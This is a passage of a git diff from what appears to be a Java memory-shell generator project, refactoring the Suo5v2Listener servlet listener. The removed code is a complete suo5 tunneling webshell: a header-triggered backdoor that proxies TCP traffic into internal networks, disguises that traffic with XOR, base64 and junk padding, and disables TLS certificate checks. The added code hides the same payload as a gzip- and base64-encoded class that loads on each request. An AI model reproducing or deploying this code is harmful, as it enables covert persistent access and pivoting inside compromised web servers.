readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { - } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { - } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); - } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { + return out.toByteArray(); } finally { - if (selfClean) { - - removeKey(this.gtunId); + if (gzipInputStream != null) { + gzipInputStream.close(); } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - + out.close(); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java index e74fc6b5..5f669ed3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java @@ -1,60 +1,29 @@ package com.reajason.javaweb.memshell.shelltool.suo5v2; -import javax.net.ssl.*; -import javax.servlet.ServletRequest; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; -import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); - - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; +public class Suo5v2Listener extends ClassLoader implements ServletRequestListener { + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2Listener() { } - public Suo5v2Listener(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; + protected Suo5v2Listener(ClassLoader parent) { + super(parent); } - public Suo5v2Listener(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; - } - - @Override public void requestDestroyed(ServletRequestEvent sre) { @@ -64,10 +33,12 @@ public void requestDestroyed(ServletRequestEvent sre) { public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); - new Suo5v2Listener().process(request, response); + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = new Suo5v2Listener(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length); } + HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); + suo5V2Class.newInstance().equals(new Object[]{request, response}); } catch (Throwable ignored) { } } @@ -76,1010 +47,37 @@ private Object getResponseFromRequest(Object request) throws Exception { return null; } - private void process(ServletRequest request, ServletResponse response) { - HttpServletRequest req = (HttpServletRequest) request; - HttpServletResponse resp = (HttpServletResponse) response; - String sid = null; - byte[] bodyPrefix = new byte[0]; + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - InputStream reqInputStream = req.getInputStream(); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(req, resp, dataMap, tunId, sid); - - break; - case 0x01: - setBypassHeader(resp); - processFullStream(req, resp, dataMap, tunId); - break; - case 0x02: - setBypassHeader(resp); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - resp.setStatus(403); - - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); - do { - processHalfStream(req, resp, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(resp, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, new String(sidData))); - - do { - processClassic(req, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - - break; - default: - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); } catch (Throwable e) { - } finally { - try { - OutputStream out = resp.getOutputStream(); - out.flush(); - out.close(); - } catch (Throwable ignored) {} - } - } - - private void setBypassHeader(HttpServletResponse resp) { - resp.setBufferSize(BUF_SIZE); - resp.setHeader("X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - resp.setHeader("Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; } - private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.setStatus(403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = req.getInputStream(); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; - - try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); - - Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } - } - } - - private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = resp.getOutputStream(); - out.write(data); - if (dirtySize != 0) { - - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.flushBuffer(); - } - - private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; - try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2Listener(tunId, 1)).start(); - new Thread(new Suo5v2Listener(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - } - } - - private int getServerPort(HttpServletRequest request) throws Exception { - int port; - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } - - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - - private byte[] toByteArray(InputStream in) { - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); - } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); - } - bufferOffset += readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 